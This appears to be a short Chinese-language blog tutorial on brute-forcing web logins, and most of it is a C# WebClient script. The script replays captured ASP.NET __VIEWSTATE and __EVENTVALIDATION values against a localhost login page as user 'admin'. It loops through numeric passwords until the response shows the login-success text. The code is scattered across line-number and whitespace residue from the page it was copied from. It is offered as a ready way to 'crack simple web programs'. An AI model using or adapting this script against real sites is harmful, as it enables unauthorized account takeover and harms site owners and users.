WEB中暴力破解

暴力破解：一个接一个的试，直到试验出正确的密码。

详细如下：

利用HttpWatch软件进行检测，选择Stream选项卡下面的文件_ViewState

然后我们建一个应用程序：

代码

    
    
    
    

     
     
     
      1
     
     
     
      
     
     
     
      WebClient web 
     
     
     
     =
     
     
     
      
     
     
     
     new
     
     
     
      WebClient();
 
     
     
     
      2
     
     
     
      
     
     
     
      web.Encoding 
     
     
     
     =
     
     
     
      Encoding.UTF8;
 
     
     
     
      3
     
     
     
      
     
     
     
      
     
     
     
     for
     
     
     
      (
     
     
     
     int
     
     
     
      i 
     
     
     
     =
     
     
     
      
     
     
     
     0
     
     
     
     ; i 
     
     
     
     <
     
     
     
      
     
     
     
     399
     
     
     
     ; i
     
     
     
     ++
     
     
     
     )
 
     
     
     
      4
     
     
     
      
     
     
     
      {
 
     
     
     
      5
     
     
     
      
     
     
     
      
     
     
     
     string
     
     
     
      s 
     
     
     
     =
     
     
     
      web.DownloadString(
     
     
     
     "
     
     
     
     http://localhost:2118/WebSite5/Default.aspx?
 __VIEWSTATE=%2FwEPDwUKMTYzNzQ1NDcxN2Rkg804Yc5o9vrY7xCLcOO1%2FUInvAU%3D&txtName=admin&txtPass=
     
     
     
     "
     
     
     
     +
 
     
     
     
     i.ToString()
     
     
     
     +
     
     
     
     
 "
     
     
     
     &Button1=%E7%99%BB%E9%99%86&__EVENTVALIDATION=%2FwEWBAL60vXOCgLEhISFCwLKw6LdBQKM54rGBlE0dgunJ7CE4iZnuSf6tAvjjcI8
     
     
     
     "
     
     
     
     );
 
     
     
     
      6
     
     
     
      
     
     
     
      
     
     
     
     if
     
     
     
      (s.Contains(
     
     
     
     "
     
     
     
     登陆成功
     
     
     
     "
     
     
     
     ))
 
     
     
     
      7
     
     
     
      
     
     
     
      {
 
     
     
     
      8
     
     
     
      
     
     
     
      Console.WriteLine(
     
     
     
     "
     
     
     
     密码破解成功:密码为:
     
     
     
     "
     
     
     
      
     
     
     
     +
     
     
     
      i.ToString());
 
     
     
     
      9
     
     
     
      
     
     
     
      
     
     
     
     break
     
     
     
     ;
 
     
     
     
     10
     
     
     
      
     
     
     
      }
 
     
     
     
     11
     
     
     
      
     
     
     
      }
 
     
     
     
     12
     
     
     
      
     
     
     
      
 
     
     
     
     13
     
     
     
      
     
     
     
      Console.ReadKey();
    
    
    
    

 

我们可以把上图中的选择内容放到WebClient对象的DownLoadString方法中，与我们的URL用“？”相隔。

 

这样就可以破解简单的web程序啦！！！！

本文地址： http://www.daiboblog.com/detail/Daimon/1101191315295iiq_1.htm